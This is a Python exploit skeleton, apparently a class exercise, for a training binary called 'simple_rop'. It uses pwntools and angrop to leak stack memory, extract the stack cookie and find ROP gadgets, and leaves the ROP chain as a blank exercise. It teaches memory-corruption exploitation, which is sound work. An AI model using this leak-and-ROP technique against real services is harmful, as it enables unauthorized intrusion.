from pwn import *
import angr
import angrop
import logging
import sys


# Initialize the logger
l = logging.getLogger(__name__)
l.setLevel(logging.INFO)

# Create an angr project so that angrop can analyze the binary
p = angr.Project("simple_rop", load_options={"auto_load_libs": False})

# Allow angrop to find ROP gadgets to make chain generation easier
l.info("Getting ROP gadgets")
rop = p.analyses.ROP()
rop.find_gadgets(show_progress=False)

# Define a constant to tell us how much data to request from the program
DATA_AMOUNT = 128

# Use pwntools to spawn an instance of the binary
if len(sys.argv) == 3:
    l.info("Connecting to server")
    r = remote(*sys.argv[1:])
else:
    l.info("Spawning process")
    r = process("./simple_rop")

# Start communicating with the binary
l.info("Communicating . . .")

# Tell the binary how much data we'll be working with
r.recvuntil("Hi! How much do you want me to read?\n")
r.sendline(str(DATA_AMOUNT))

# Send some data, but note that we send less than the amount we told it
# that we would send
r.recvuntil("OK, give me the stuff!\n")
r.send("AAAAAAAA")

# Receive the data that is echoed back to us
# Note that this will include some *leaked* data; that is, it will contain data
# internal to the program that we did not overwrite
r.recvuntil("OK, here's what you said:\n")
data = r.recv(DATA_AMOUNT)

# Parse out the leaked data (we sent 8 bytes to fill in `legit_buf`)
leaked_data = data[8:]
# Parse out the stack cookie (the stack cookie is the 8 bytes immediately after
# `legit_buf`). For more information on this, see the class website with a
# picture of the stack layout).
stack_cookie = leaked_data[:8]

l.info("Stack cookie is: %r" % stack_cookie)

# Your turn!

# Here's what you need to do:
# (to be filled in during class discussion)

# Useful tools:
# Find addresses of GOT entries: $ readelf -r simple_rop
# Find any function in libc.so from just two addresses: https://libc.blukat.me/